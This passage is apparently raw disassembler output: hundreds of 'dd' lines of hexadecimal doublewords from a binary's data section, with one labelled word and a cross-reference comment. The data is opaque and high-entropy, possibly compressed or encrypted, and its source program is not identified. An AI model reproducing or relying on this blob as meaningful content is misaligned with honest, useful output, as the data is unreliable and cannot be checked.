1FB7A9BEh, 2ADD7040h, 0A37F8C01h, 0A5B95493h dd 8F6A60h, 0FDD324B8h, 630960F8h, 4E036F73h, 7A8C5088h dd 78B80423h, 908A0A8Fh, 0B59A4D18h, 0EC258201h, 5D971974h dd 36A820h, 417D8B24h, 0D6C40559h, 76BA3D00h, 0D72A8652h dd 0D43F1FE1h, 0FE1CC090h, 745183D0h, 0CC6A4301h, 0A6F4F10Bh dd 0DEFC4BE9h, 262074D6h, 1BCDC2Ah, 904FA7A8h, 67ADD86Ch dd 5E911004h, 890148Eh, 4750BAh, 0D18C5361h, 34F66D7h dd 41C9C2Ch, 0DCC06E00h, 95827Ah, 0F96A1B73h, 0E2FEA7DEh dd 180C3F24h, 8247CD07h, 0E74851A0h, 0F9F203F0h, 0B2DD0566h dd 20CFB1FBh, 1E9AA93Eh, 216833Dh, 810C40F7h, 0DE1440DDh dd 21C60E54h, 0E449278Eh, 0AD50F480h, 0DB0FA435h, 406C4A2Ah dd 0DF942130h, 0BCA207F6h, 7066EF57h, 0CA2B5D73h, 86016D00h dd 5BF11B6Ah, 0FE3001A7h, 0E60A9F5Eh, 0EE95206Fh, 0C000407Dh dd 0A5EF969Bh, 3AD00C6Eh, 42BFA687h, 0D3E21580h, 0B4928A74h dd 29025200h, 30ECA03Eh, 1F0C7C37h, 685F3DDEh, 6E7CD8h dd 41BBEF54h, 0F50E62EEh dd 8A4E831Ch, 0D9CCF280h, 0A0489C27h, 8C6D3h, 2B5E99DAh dd 0AFD23462h, 6BAECC02h, 8E06545Dh, 0DED49EF5h, 0E19005D8h dd 948092E7h, 1C552ECBh, 0C07F3D74h, 9D138C18h, 2D0A8A7Dh dd 0A048C3C1h, 9C60F01h, 860D28Fh, 691700F3h, 52A5D56Fh dd 0DB0B0ECCh, 417F97h, 0D9C8042Ch, 0E738C243h, 0AC800561h dd 7DC726B6h, 0ACA73B01h, 0DA5A1758h, 3C6B9DECh, 96000D05h dd 68497750h, 0FC00F33Ah, 9252187Fh, 77994D39h, 1DD900B5h dd 5380099Bh, 0F2008941h, 0C3EBCDE2h, 0EDCCF8h, 5D236858h dd 0DC5C5718h, 3E9DDF1Ch, 62D81D81h, 0A0804650h, 9115D122h dd 3A988E1Bh, 9472E90Eh, 0C4057224h, 77C0A630h, 3F7844Dh dd 9149C4F3h, 4FE84E5Fh, 0F90D427Ch, 31B4E422h, 7FD6C0h dd 3023DCE9h, 3E25BB8Fh, 0B0D5A700h, 82429857h, 16F33865h dd 0A04F4680h, 49E1F4D8h, 665B5D01h, 0EF2709CFh, 0E54B8F8h dd 6A037381h, 9AC58E7Fh, 8056D665h, 0BDC62544h, 4EF5440Eh dd 0BA02A015h, 982662B7h, 4C307ACCh, 228098DAh, 0B2D2121Dh dd 5E198B0Bh, 0C490A020h, 3D6F61F4h, 4180B0C1h, 51D8570Fh dd 0E200AEF5h, 0A616D41Dh, 0DDF2C8h, 262C242Fh, 8F76019Ah dd 0BE045C00h, 53CE7DB8h, 929D00B4h, 27B75641h, 6D001F07h dd 0E349FE0Ah, 5AA511h, 0E92D4F28h, 6184D2D9h, 0D06E2700h dd 4DEFCCF7h, 74770188h, 0DCEC6D26h, 4541E0CAh, 0AC3DB900h dd 20A42FFEh, 2BBF037Ch, 0BC5AA1AAh, 7AEA64B8h, 23E44802h dd 0D74B91B6h, 8978A3C1h, 18974018h, 0E4F6F020h, 96B40051h dd 56629F48h, 8F022EF1h, 5F3AA46h, 91934067h, 0A59800EAh dd 0E8EF1A81h, 1D00632Dh, 5C68BA8Ah, 394803Eh, 5B3111E0h dd 70971FAAh, 98F56BA2h, 40003892h, 0D9F39B89h, 48545B67h dd 91007CCEh, 0BCE4C62Eh, 17E03582h, 88A3780Bh, 2CD30F0Ah dd 26A556B4h, 80B4AAE6h, 0FC8164Fh, 0A407F298h, 0F1234881h dd 5A88B5A0h, 7EFEC1h, 0F9AF12AEh, 6226AA2Dh, 6418300h dd 8CD87BF3h, 39D60ADDh, 1C88659Ah, 715709A4h, 0DAC3A8A0h dd 0CA1D2F56h, 0CC26698Bh, 26755380h, 0F2A03B5h, 0CF8EFDB3h dd 87DDC280h, 0AF00AA4Fh, 0A3900549h, 0E67AF509h, 0C459016Ch dd 0E6C88AEDh, 62667001h, 0B5FD3300h, 5832E472h, 0BAC40086h dd 26E998DDh, 51429A0h, 8C34D1h, 4D3B4C7Dh, 785C18EFh dd 0E375000Eh, 1EA02A88h, 2C9424F2h, 1C97B801h, 1874C1D0h dd 0C79901EFh, 0D98E5189h, 0F1BA30D7h, 45A7A600h, 0C54CA0A3h dd 94B100EBh, 0F3370E1Eh, 2F183FCFh, 5F78D6F7h, 4B310E42h dd 0EC01C01h, 0A51784DCh, 90B20C25h, 8DF718h, 0FF7487E8h dd 47996E60h, 7DAB040Ah, 9009823h, 0C1C7A154h, 5A2F09EDh dd 0CE01D740h, 80C2711Ch, 0B05EAE68h, 0E33E710h, 37C5F723h dd 415591A7h, 706B0CC8h, 4A0E7A4Fh, 4C73AF54h, 72C3847h dd 0FF3657D6h, 82A470FBh, 9C79958Eh, 9835C300h, 6459D314h dd 2A32004Dh, 5571B71Ah, 0B5002FB3h, 0ED9004FAh, 30F1379Ah dd 0EFD8139Ch, 0F91ECC89h, 6C0F1086h, 0C131600Dh, 1AC2F8Fh dd 2BB2A057h, 2867B4CFh, 0F6C600A8h, 0A1A747EBh, 0DC30075h dd 9541D3CBh, 770EBB14h, 0FF7C165Fh, 1F90D754h, 0EB806D6Ch dd 381CD1F0h, 3BBF39ABh, 5D913480h, 7C55A498h, 0DBAC2C00h dd 0C180DCDAh, 35D4A04Eh, 7A6816EEh, 0CC4009Ah, 65F11E3Bh dd 204DD730h, 3D3813h, 0B991E0E1h, 2C1D897Ch, 27853000h dd 0C7349CB1h, 0EB4E0410h, 8065C1BFh, 78D33784h, 0F505DE09h dd 0C0880E3Ch, 0D5487124h, 0BE8101D4h, 0E995C9E0h, 28B8D1D1h dd 63F3100Ch, 1980DACBh, 0D310A370h, 55976400h, 190DC51h dd 0E449013h, 958759AFh, 1EC750CEh, 0B69A00B9h, 0A0ED4CDh dd 4B18AA75h, 0B007D0Fh, 961BE3E8h, 0D5040200h, 25603D9Dh dd 0CA62026Ah, 0B5204CABh, 0EAE969C0h, 0DA2C700Bh, 98B000CFh dd 7143923Fh, 0AA4505A2h, 80629A84h, 81D61AA4h, 0CA4E111Fh dd 9DB5C6C0h, 2A4C0364h, 1F4148Ah, 2824DCBEh, 341F06BBh dd 1D638C38h, 0E09C2EF0h, 10DBD79h, 833790C1h, 0C2CA0CAAh dd 602D20E8h, 80A9223Ah, 0E77CF616h, 2D24593h, 69EB3A9Eh dd 0D0708B1Eh, 0E0137576h, 38006390h, 727FAB1Ch, 0F86F004Eh dd 39E79922h, 3700A3ADh, 14BDFCDFh, 907A52A7h, 591C18B8h dd 0C7B388F2h, 89CF3600h, 0D466A338h, 0E3BB00B4h, 597BA2B5h dd 6A729BA8h, 7394E407h, 0C0CFAAD0h, 0E3748A80h, 95B22C16h dd 756600C4h, 0CEFBE94Dh, 79658600h, 5564A1E8h, 7E103BBBh dd 2ECAF780h, 99F1FC82h, 2C211200h, 85B42890h, 4F9D00B9h dd 0C307A198h, 0E9001A32h, 99884647h, 11B7CBBh, 0D53150B7h dd 0C03F2876h, 0FB797795h, 0D2E2EC00h, 42F4EF57h, 73723C7Ch dd 35860176h, 3783F367h, 0CCBE3176h, 0D50079E2h, 1195575Ch dd 36AFF0h, 0BF7FE954h, 4A38BC15h, 0D98D0500h, 0CCC4510Dh dd 619558F7h, 1E743E7Ah, 0DE8089BDh, 0E35DBBF5h, 2CB8F0D1h dd 6C6A420Eh, 0EF2C0004h, 9987EBh, 0B237561h, 0B7E0E70Ch dd 2E4F8F00h, 0E6D17DD7h, 62D2002Fh, 8211A763h, 91041AE9h dd 20714172h, 86304CD1h, 0E8266901h, 0BD021AFBh, 53B2F667h dd 8EAF427Fh, 1B6B205Ch, 0B43879h, 0EC686FB7h, 9DA282FFh dd 8741EA00h, 6281FB21h, 0B08A00EFh, 0E5094F71h, 45005A0Eh dd 225EFCB7h, 0C0B9FA2Eh, 0C68BC710h, 0DE00D32Dh, 0C3356F67h dd 26BC7Dh, 0C4BECBFAh, 0D26D1BD1h, 83F55F07h, 9E30A927h dd 8AF08Fh, 0E3194479h, 0E1D6942Eh, 912A1A00h, 502CEC80h dd 9FA70AE4h, 80D4F2EDh, 8D1D1B23h, 70EDA3FEh, 3600F5ECh dd 70B74435h, 1EB2E214h, 80C22A54h, 0ADAA2EA2h, 17EA9739h dd 0CBE4B3FEh, 0BC271E24h, 0E7000C1Dh, 48F82194h, 4BB5000Dh dd 0C12A99CAh, 80007407h, 18F3ED1Eh, 58F4Eh, 0BEF0E3F1h dd 291F9F81h, 0E5DB3E00h, 4DB9BB93h, 0E962095Ch, 0B88003F1h dd 91460F9Bh, 0C56088B1h, 38AE23B1h, 5C85DB0Ch, 0AB7510h dd 5482CACCh, 62002FDCh, 447155ADh, 0D09DE0h, 5A57CD12h dd 0FB36958Dh, 0EC25DA00h, 0CEC510BFh, 8761002Dh, 0E970F73h dd 0BC079EAAh, 1C18F172h, 5823FB10h, 9FB801AFh, 3A2F21E8h dd 3007D9ACh, 96011E65h, 0EBA3F4DEh, 14F0E6AEh, 2F053891h dd 0A6972B80h, 0ACECBE5Bh, 3F1F8C01h, 0B0CD2A2Dh, 6250AC47h dd 5BD74B9h, 695DB212h, 98E0A4FFh, 460EB8F4h, 40FCE4D3h dd 856318Ch, 0BC1F70EEh, 468200A4h, 0BB12F527h, 0AA6C8A01h dd 3FF83935h, 0F00206Dh, 0F4368E2Fh, 0CF0B12F2h, 911DB9h dd 0C77E9F0h, 0C71400B8h, 0A2FBE265h, 4E4C3653h, 3803F6Ch dd 79E58ECBh, 0A98FC89Eh, 5499095Dh, 0F4805EBEh, 0ED70BFE0h dd 0D2EE980Eh, 677EE04Ch, 0DD453Ah, 0B3EAB2B0h, 0C7EBCA1Eh dd 68540100h, 7B95694Bh, 6BDF09FDh, 0BE78073Bh, 12CE748h dd 63D2998h, 0F97086D6h, 0A5A0008Ah, 7AF8DF46h, 4900451Ah dd 2D52FFBAh, 6E868Fh, 0FDDCE8D3h, 0B1BC4E0Eh, 3D00BCB0h dd 0FAE9CD89h, 65CC0h, 0C114E27Fh, 0D8BC60BEh, 32D76400h dd 834E2002h, 356EC057h, 0A06D8178h, 4700B4EEh, 0C763B140h dd 383DECE1h, 0BB002797h, 19EF8160h, 7D00132Eh, 849DD4A1h dd 72B412h, 4E5EA1Bh, 0FEC1AE65h, 63A3E800h, 0FCF424AAh dd 7AA5003Ch, 3ACE1B2Bh, 801C88Eh, 4B32DD66h, 6DC46353h dd 2AE32ED1h, 0F2708038h dd 0C89EC37Ch, 831D5800h, 1AD432ACh, 9BEB09AFh, 80A10C51h dd 0E86D1071h, 0AD3C2AB4h, 96078068h, 0C7D64D79h, 1AD900F6h dd 40F92027h, 7B00A1A3h, 0FAEC3AC9h, 69BB18h, 0F7399067h dd 639552E4h, 11C8470Eh, 914E60FFh, 7D3427Fh, 2BC7FE2Ch dd 9E405056h, 0B04B2472h, 9D0C7800h, 73A11Ah, 12DE3235h dd 2B709E3Dh, 0DC3C16FEh, 79950022h, 81139FF1h, 8D7E0364h dd 0C365F49Eh, 0F0228FC1h, 0E34CE926h, 96101A0Bh, 0A5F04828h dd 0A6F90F54h, 0BF030E9Eh, 6EB010A9h, 190076DCh, 3D215AC9h dd 39B126CEh, 108368E3h, 0F16194FBh, 2BE54103h, 0E10C694Eh dd 0AAF89EAFh, 0B1A63F11h, 0C47D7782h, 0CE83CF2Dh, 4ED80E75h dd 6226C679h, 1C030CAFh, 0E09EC074h, 32E7CCh, 0FBD7585Ch dd 0D8BF71B4h, 0CBAED905h, 0DEC03625h, 7EE87h, 413BEC82h dd 0BFBF229h, 7D2521F0h, 33F0001Ch, 0B72786CCh, 0B12EFB70h dd 0A300E829h, 229A51E6h, 26F50C84h, 0F8C10E24h, 9055940Ch dd 0F34052h, 6651758Fh, 1BF15E28h, 0BA403500h, 94C306A1h dd 9A953A6Ah, 3F187D00h, 9654ED21h, 0E8B1761Fh, 0BE4D57C0h dd 3CF39A8Ah, 75804F89h, 9F2CF6DBh, 244A9D1Dh, 591FAC81h dd 4F3024h, 0ABC20921h, 1ABFE5C0h, 137D3F01h, 0A6478995h dd 944E7880h, 4130990Ah, 7F8F5107h, 0E46FC513h, 36C3FBF6h dd 1E591139h, 0DE9005Dh, 0F5D9408Bh, 8FE40104h, 0E16C966Fh dd 4A20879Ah, 5A506671h, 0AAF90Ch, 0B40F7C12h, 0AE764301h dd 1CDF1F00h, 0FA5E3C99h, 5819C075h, 15C1CE06h, 740E0BE8h dd 4723BDFDh, 0E4C33FBBh, 5FE8C0FBh, 98CAF0A6h, 41E70001h dd 57014E8Eh, 29E85816h, 8F977039h, 80617640h, 0CBD5A1CEh dd 0D9740F0Ch, 4E8044E2h, 7E05DAFFh, 64550900h, 31859446h dd 8B70C98h, 0B31819CFh, 3E60E524h, 93B46403h, 5F05C0F5h dd 38BAF06Eh, 28E079D8h, 29215866h, 0B4947B0Eh, 187AACE8h dd 0C1231D57h, 80DBDFB5h, 247C2F53h, 0AB00388Fh, 82D09908h dd 7E6A8D4h, 74B715ECh, 185503Ch, 7800C7AAh, 899619C1h dd 1FFC6D9Fh, 157D46Bh, 1C751D5Ch, 544EC59Ah, 42F9Ch, 7D415E9h dd 0C80328Dh, 299BA923h, 170DCF20h, 0E07635D5h, 41D8F0F8h dd 0B27FE41Eh, 35492160h, 3B2F11F9h, 0DA28A1CAh, 0CEF670ACh dd 66831B61h, 113C33C6h, 0E9319F21h, 621A1743h, 0CB092A86h dd 13410EC4h, 5B806F31h, 6A107F33h, 712DA90Ch, 1868868h dd 0DFCAA4B1h, 4065306Fh, 0A9BE76F0h, 63914260h, 618239Eh dd 3D02B8DCh, 686109D4h, 23660321h, 3C54B330h, 0B07A82E1h dd 0A1DE0C2Dh, 0E3C0D8A5h, 26EC7512h, 8B432C02h, 48808279h dd 0D0B2207Dh, 0FB056114h, 64E40DC0h, 2DB3A801h, 0A882E2F8h dd 969F92B4h, 0D61CB1h, 0C05990F6h, 0F1D0BA90h, 55007A81h dd 1B0B123Dh, 688F72Dh, 0D9F5AF25h, 181C505Eh, 854F34CAh dd 7B8600D8h, 154E8855h, 0E877AB0Ch, 0C0EF1600h, 0DD8AAF10h dd 0A2F75819h, 21835E08h, 0F9C097B5h, 0DCCC6788h, 352DAF1Dh dd 0E84860B0h, 605349A1h, 3E6BAE00h, 27E24211h, 18790E24h dd 0CCCFB480h, 5C551F60h, 180EED7Eh, 0DDA1AF34h, 5893762Ah dd 230899C4h, 0C460DC0Bh, 61805E59h, 99F75223h, 7C571480h dd 0AB01C84Dh, 0BC0CA38Ah, 10B98030h, 0B7580FF0h, 0E35D3CDCh dd 1507C889h, 0EB3FC800h, 1016646Fh, 0BA10A9CAh, 51787AE0h dd 76911E3Fh, 0C04A44Ch, 0C9620E25h, 82173B6Eh, 772CF981h dd 987CE17Ah, 0A4215208h, 6882020Fh, 28886DF9h, 1C420442h dd 60646363h, 19601350h, 0F9239C82h, 0AD117Ch, 1B82118Eh dd 602D0Ch, 0FA0F2684h, 0F1F07B2Fh, 0BC1FFC28h, 31CE7FF4h dd 1CB320A6h, 6AC3C6h, 562E30B1h, 0CCE08BF4h, 33ABA4A8h dd 0A04380h, 0D2CE58Ah, 0DECDA34Ah, 93BAF51Ch, 2A7D409h dd 0D6C5CCh, 46D84EEFh, 0A9482092h, 544C0010h, 0F1DE83FBh dd 0A691EA4h, 0CC983F74h, 0F9C2F816h, 0C060D2EFh, 0D831044Eh dd 530F79D2h, 26B8B180h, 5C4BD6D3h, 0E956C600h, 0B2E6B3DFh dd 0BD70901h, 0EC8449A8h, 10AC5064h, 95064690h, 600709F1h dd 0AD81A702h, 683CD910h, 0B8F88318h, 92BB0142h, 5E03BE64h dd 23088047h, 0DF67F57h, 9FE3049Ch, 8696987Dh, 5841D9A0h dd 0A74CCE4h, 90F76B44h, 4674FD0h, 11C94CDDh, 732DCD12h dd 0F830DC52h, 16BB39C1h, 2818C5E8h, 0DF510400h, 0FD502120h dd 9341836Ah, 1C3EFC33h, 58F048C1h, 0E5AF40ACh, 2856CD30h dd 0A4FB5E61h, 62190888h, 0CA043334h, 1CC14036h, 0B8337920h dd 48770B10h, 1912378h, 0DC19239Fh, 80B42370h, 0BE236714h dd 2EAD019Dh, 0F85E8243h, 23BC5DB9h, 30CFA2D4h, 0B00EC6Dh dd 738238F7h, 60A96360h, 0C1A17957h, 355BBB7Fh, 1302E4BCh dd 57629066h, 99E0E763h, 4860969Eh, 0AFC76C59h, 58AE304Eh dd 7AB39C41h, 0F555A8E6h, 44081E8h, 0BA7F6D84h, 1A01A98Ah dd 198020FCh, 0D02789A1h, 1591600Fh, 26ABA8A0h, 913D4A8h dd 890F05E2h, 87C42AE9h, 52C0F0A0h, 0CD79ADCh, 5EA96214h dd 3700AA59h, 0CEEEFCB3h, 3E91337Eh, 0B58051AFh, 0C1E9293Ch dd 0D0A1566Dh, 300FDD98h, 3B206540h, 1308B00Bh, 48088F54h dd 0EDC002D4h, 46AF12C0h, 12B225Ah, 0FEC095BBh, 50D1C6BCh dd 0ED22B6B8h, 2C24A900h, 89E2B98Fh, 0DE3900B5h, 0A1AAECA3h dd 9A00C013h, 113D2E0Ah, 0AC6B431Ah, 31101DE8h, 883F51ECh dd 287280CAh, 0E5D57331h, 4AD99A00h, 0DA093C95h, 4CB1EEDDh dd 0F90520CEh, 2F50BDh, 0FB5ABBACh, 35F6C491h, 0C4103A4Ch dd 0F8196118h, 8E81803h, 92AF1BC0h, 0B04059C4h, 0D9AEC090h dd 16AD4D07h, 7CF705B3h, 0BCD08544h, 92CCBD24h, 67250094h dd 1E1497E1h, 2F12F15Bh, 0A840650Eh, 0EA6E1A49h, 0AD480246h dd 0CAB8FB64h, 2EBC8C48h, 306A38A1h, 7F0310E5h, 0F7478577h dd 0CF54E0BBh, 0AF3234C1h, 0D080CCA1h, 0F93C7B00h, 865D7515h dd 55AE2494h, 0D2CC9E18h, 45071EF1h, 81B18EBh, 0E9C01680h dd 46AF2EC0h, 0B78875BAh, 0FBC00091h, 39904BC2h, 0F0FA40EBh dd 347F1424h, 0C023F700h, 9BEAB95Ah, 1F2C2454h, 1F0420B1h dd 850EC8FAh, 7A2D408Ch, 61F4A9E5h, 9E15AFCh, 414C64A2h dd 1DD56440h, 78484340h, 0ADE51ACCh, 0C471049h, 4A60D544h dd 0AE071538h, 0B9032FDAh, 0F9D80160h, 4474B251h, 3D07AF52h dd 0BA642D39h, 3E6C05Fh, 0A90722h, 0FCBB2B9Dh, 0E43414F6h dd 0A84B95Dh, 0CAF0C965h, 9947CC00h, 0A92460h, 0F7341613h dd 0F58ADD72h, 94237426h, 9D8F9711h, 80DC1762h, 16106731h dd 1E722365h, 32E02D18h, 98A46FF1h, 6610E1E8h, 687DA935h dd 70970818h, 4BF43DD0h, 0AE04068Dh, 0B000514Bh, 0AC2F831h dd 1E080C46h, 6EC8F1C0h, 60284420h, 2399820Ah, 561164F9h dd 8202A500h, 0F42ED257h, 10D0EA58h, 0CE022498h, 12015AE4h dd 82182890h, 14F99F11h, 0A3805788h, 0F71C8210h, 0AF86142Ch dd 0C060C2FDh, 0FBE60E04h, 0CC85BD06h, 12F03FBBh, 8571A0Bh dd 96C11168h, 94212DC0h, 0B6C03872h, 666BC0BEh, 466265FEh dd 57DC168h, 9DBC20AEh, 0CF1CFA0Ch, 7ADD26B0h, 0C1BFC083h dd 4D6E898Ah, 1FA464F0h, 827F3DFCh, 0FD2D3F19h, 0C7BBD091h dd 8DFC00BDh, 0AB65E9A3h, 0E500CCB1h, 0C75C6D78h, 19B41F0Dh dd 0D145FE0Eh, 6C8D054h, 0EC1712FEh, 0C0372311h, 83CB3440h dd 38B4007Bh dd 49CDB05Ch, 0E17C0F39h, 5C40042Ch, 0A97E7040h, 0CA1F0A4Eh dd 0A6B4FBEEh, 571150h, 14415626h, 0FFB601Bh, 5B3F2E8Ah dd 97BAC94h, 1AE9E8B7h, 0E1542400h, 0DB4CE789h, 0CE0114B4h dd 70F212C0h, 0DC31800h, 0C0D607F4h, 0D2C14359h, 3003028h dd 0F935192Ah, 3CD4843Ah, 0B0890248h, 0E004E9DEh, 31196060h dd 8C27EAEBh, 773CC44h, 0ADE23111h, 96FA06B4h, 0F4C1A5Dh dd 0C4DF81Ch, 2A13104Eh, 7987D0Fh, 8A1E718Fh, 0B0EB802Ch dd 72E255B6h, 773CF901h, 52AE7B88h, 0A38BB980h, 62DB690Fh dd 22EB0400h, 2FCFF2BCh, 883A04DDh, 0C232FC12h, 54503360h dd 69670E30h, 1D58C49h, 7C289EF6h, 20C80DFBh, 1158E8A8h dd 5A64C0F4h, 0C75B98h, 0F181FB06h, 7AE5A7A9h, 53D95405h dd 18C12BDBh, 90420278h, 311A3061h, 2F46EA75h, 4000D922h dd 51293112h, 7DCBB49h, 0E3E5CA1Eh, 187D8093h, 0A14ACE0Ch dd 0EFAE984Ah, 9C01CE38h, 6651D5A9h, 0C0CC8021h, 0B828F3C1h dd 0E04DF904h, 0E13035Fh, 1CF10051h, 5777DF26h, 0CD006C1Dh dd 0D87BCC6Eh, 4ED8E0Eh, 19ABFB71h, 0CB8080AFh, 80BA69D9h dd 9948BE09h, 90CC69F5h, 23089818h, 0C468DC0Ah, 60475C5Bh dd 0C850C223h, 25CBF17Ah, 0AC8299A9h, 0E44D0Fh, 3CC55E0Bh dd 392022B7h, 0B0082271h, 7C1DDC8Bh, 3E872391h, 931A3019h dd 0D4020CA0h, 85FB72F1h, 1FC87078h, 30F9D9CAh, 79BD2790h dd 0ECA49492h, 0F3FD3501h, 6E82C331h, 0F9FA5EE0h, 0CB5804C2h dd 0C052C894h, 0C0A24134h, 96EBA3Ah, 684CF1DCh, 65BE8394h dd 2EB6C118h, 542330h, 3799181Ah, 0B1EE30F7h, 0B8C0F47Dh dd 0CEB713FBh, 185B5803h, 8CADBCh, 51F3BE12h, 0C1B507B7h dd 0C84A681Dh, 0A1733D0Bh, 6701FD1Ch, 557FAE01h, 46813A0h dd 0B4FC830h, 11649D0Bh, 0DB658059h, 5FD5C8h, 0C3A2A3D1h dd 0D704EA7Ch, 9D29B169h, 80241128h, 80352207h, 7F4D0C7Bh dd 84B96DBDh, 3CDDA912h, 75FB8001h, 0C09D77C4h, 0D8E97Ah dd 3E7807Fh, 7C26B70Eh, 242803B3h, 23048E4Ch, 312C0467h dd 98EDC4E8h, 4688D804h, 317B24h, 0A1CD630Fh, 0ACF7BB1h dd 0AE5E110Ah, 9480C460h, 0CDF1191Eh, 2A549E7Eh, 43E54548h dd 7CC4C6Ch, 3A862D13h, 60849480h, 28EFB160h, 0B424734Fh dd 5AB200B2h, 3380830h, 0CCBE61C7h, 0E8E9A8BDh, 71C874F5h dd 450E550h, 9FA0C958h, 0B2512D0Fh, 55FF1000h, 943AF076h dd 800F116Ch, 0AF2FC0ECh, 5F448CB2h, 0C09400B4h, 0EE93045Eh dd 901D8518h, 1910D1F0h, 715EC4Eh, 5B9BF0Ch, 48C866A0h dd 0B8F312AFh, 0D0E80051h, 70C1CE84h, 4442E4AAh, 295A50C4h dd 6F233C2Eh, 0CE74A200h, 58C8A1Ah, 5E1CC767h, 7F90C8F5h dd 3164B331h, 0C9802FABh, 2080A347h, 230414C3h, 1783401Fh dd 61FDC0C1h, 0C802C028h, 51E53384h, 0C63D80D9h, 0EF312D0Fh dd 301C47ABh, 31257F07h, 8EC09849h, 24F0BB2Eh, 84D85548h dd 1C6601D5h, 0EC2F29D3h, 0B1006723h, 684BB3FAh, 0E4350A53h dd 18FCECEAh, 0A581A106h, 1FD9A115h, 7652360h, 0D4EE312Eh dd 0C024E24Fh, 6531267Ch, 0B0E47157h, 7110215h, 0AD5E4908h dd 0AC8800D1h, 3A341320h, 8C7504h, 6CC206CFh, 86569D39h dd 0B209527h, 8AA4003Ch, 24D83B2Bh, 0F8CFB9h, 5904AD80h dd 3404BEEBh, 0FD89BB9Dh, 0E996A883h, 2478104Fh, 8C59BCh dd 0C80FDB84h, 44B117CAh, 94898600h, 59E8BBF8h, 84095950h dd 81D0480Eh, 7218D2D2h, 0C1EEB848h, 197C7532h, 90BC5AD4h dd 647A4594h, 48805D1Ch, 0B07E59D8h, 5EA2C453h, 213530h dd 0C383A97Dh, 8A2496F4h, 709FE100h, 0D4D14B95h, 0D46654D5h dd 0A3BB0045h, 59EBAB26h, 1171BE84h, 7D5CB1Dh, 0A13AFC1h dd 1860A61Bh, 0C04E40A4h, 90B8F12Ch, 75604D41h, 5AD3188Fh dd 54258F03h, 0AFC0B8E3h, 0EC96552Dh, 0E7CA1F00h, 4856BDFFh dd 50F8ECCEh, 7CE2008Ch, 0C8CC9239h, 0F003A0Dh, 509ECBF7h dd 4A3CA935h, 14142010h, 4800D3FFh, 789FBC70h, 1A552A9h dd 75EF12BBh, 94B70C43h, 80880EF0h, 0D88AB1B8h, 6977A4Fh dd 5FF67F9Fh, 760551FBh, 0A62E19E8h, 301104C2h, 9E12820Bh dd 0F0CB0CF9h, 8203A000h, 6020971Eh, 6DF83A04h, 0A14244BCh dd 1C72CC71h, 14022646h, 34F96382h, 0A710A931h, 20E3820Ch dd 0E4055A88h, 8DE84865h, 16A9F4E0h, 0CCCB070Eh, 625F7164h dd 50DCF844h, 0C3CEB540h, 0F49E75F9h, 66522D80h, 2D834893h dd 0D8803EFCh, 96EE55FDh, 0E7B8B860h, 0A6C21995h, 7964401Ch dd 78C078E4h, 0A12CD9C0h, 14EC9809h, 0A09E1C83h, 28CA9E8h dd 0F849CCDCh, 0EC516E3Dh, 2118D579h, 3F157A1Dh, 335AF700h dd 0E4CA1EF9h, 819096D8h, 0D4D63D61h, 7A08C850h, 105B8300h dd 74382F37h, 0A480ACBh, 0E8C8CADh, 0A442C3FDh, 0D0C0B192h dd 0F150A5A9h, 0C82E20E4h, 4674AC44h, 5007622h, 0FEE3FFB5h dd 793AA52h, 0CAB6F733h, 40612734h, 0D8BA92EEh, 0C43E624Ah dd 66005E23h, 9DE3DEB0h, 8E8894D5h, 0C6C0D72Ah, 59495C16h dd 0E8AEF000h, 9E754B9Dh, 27BF602h, 0BDF92A94h, 604021F8h dd 0BE9545AAh, 2EB20044h, 12A75B20h, 591F6A47h, 0B71F381Ah dd 5D933D00h, 923727h, 6A1D015Ah, 761F45A2h, 1E2DBC0Eh dd 2767E086h, 2812B08Eh, 9ED45A34h, 5B465E00h, 0AED23907h dd 2EA88A9Ch, 57465EBCh, 0F345FF00h, 61F5AF8Bh, 0BCA87C48h dd 0C945866Ch, 4C0CA401h, 42940405h, 75E3605Dh, 20296088h dd 11578A43h, 20FE1229h, 145993C7h, 5664BEB4h, 9400A846h dd 22FC9540h, 853DF5A6h, 1000DEA9h, 0D7B33ACFh, 8EC8C9AFh dd 2B715059h, 4005E18h, 26EF76CBh, 5BB181BAh, 1FFC64BDh dd 5E6510ACh, 0FE113820h, 13540E86h, 0AE045EFCh, 11C8F244h dd 231D5CBCh, 0B2A904FDh, 0D7360E61h, 6642401Ch, 68190390h dd 5980183h, 0D5840496h, 61D4F47Bh, 0BBA16B05h, 1FC07569h dd 5B9EA8C1h, 74884096h, 35C77752h, 24F41B58h, 1F960069h dd 99D9AC00h, 58AEF1C2h, 5C789034h, 86849CC3h, 1B9E8070h dd 73004579h, 27A313CFh, 0D55319h, 0FB2324Eh, 6DC1CC90h dd 60C1CD4Bh, 0BD00433Bh, 53003010h, 0DE5F84E2h, 0E7B522h dd 0F7353D5Ah, 8C8B2439h db 3Bh, 0E3h word_505446 dw 92DBh ; DATA XREF: ___:off_436CE0o dd 50A4D973h, 4C691F5Dh, 80D016F0h, 877FC3A4h, 0E8C04758h dd 0C0158C68h, 4C54E2h, 0F865569Ch, 1AB282Ah, 195EC6FCh dd 38A84262h, 11342D30h, 0EC68DACCh, 517E4400h, 0B348913Dh dd 0FC800494h, 43D8E2E7h, 24E0FBh, 0BBB1CC56h, 397E9394h dd 1DCBF304h, 0F4A89834h, 82A48181h, 9C3A2A58h, 17006523h dd 0B2196355h, 34215BCCh, 0A1C8B6B8h, 0E9FDF09Eh, 9463A0F3h dd 7CD1699h, 41C020DEh, 4C41C9F5h, 4CB9D8E4h, 2F5EE0F4h dd 12223A4h, 0E741259Fh, 0D4FEC8DAh, 0FF2D6116h, 8A818823h dd 11F58D58h, 24F97820h, 2C2CD0C9h, 0F2B03FD0h, 81E5AFE1h dd 64690526h, 825C8309h, 0E0CAD82Ch, 303672D4h, 0B049E4C8h dd 0E73333E9h, 0E077113Dh, 50F6BE3h, 6AE28F0Ch, 29E8E362h dd 68D1CC40h, 60159918h, 4B07A0Eh, 0B0A09F64h, 0EF571A80h dd 0FEC30385h, 75B9CDAFh, 0AB146817h, 9C433840h, 0F7EF1C5Bh dd 0FE28002Bh, 0BB94DDECh, 1301E0B8h, 0E57EAE56h, 51C225EDh dd 58180018h, 2AF3FB6Dh, 76D5A400h, 681555F6h, 8F901DAh dd 340B77EEh, 13C3257h, 816779AEh, 60F22E9Dh, 95C7BB34h dd 51F868A0h, 7C273DECh, 143796h, 0BAFA1CD8h, 0E001E26h dd 0CEB4C5DAh, 94E999C1h, 56467618h, 0EFFFBE01h, 2AD96058h dd 0E1EB1C40h, 934D61Bh, 853EF511h, 5029705Bh, 0A5182A71h dd 0F5FD4F09h, 5C9C7254h, 5FBC548Eh, 8B5C008Ch, 0E3D3AD76h dd 0BC4B6273h, 0F1DC3803h, 94D2DCD5h, 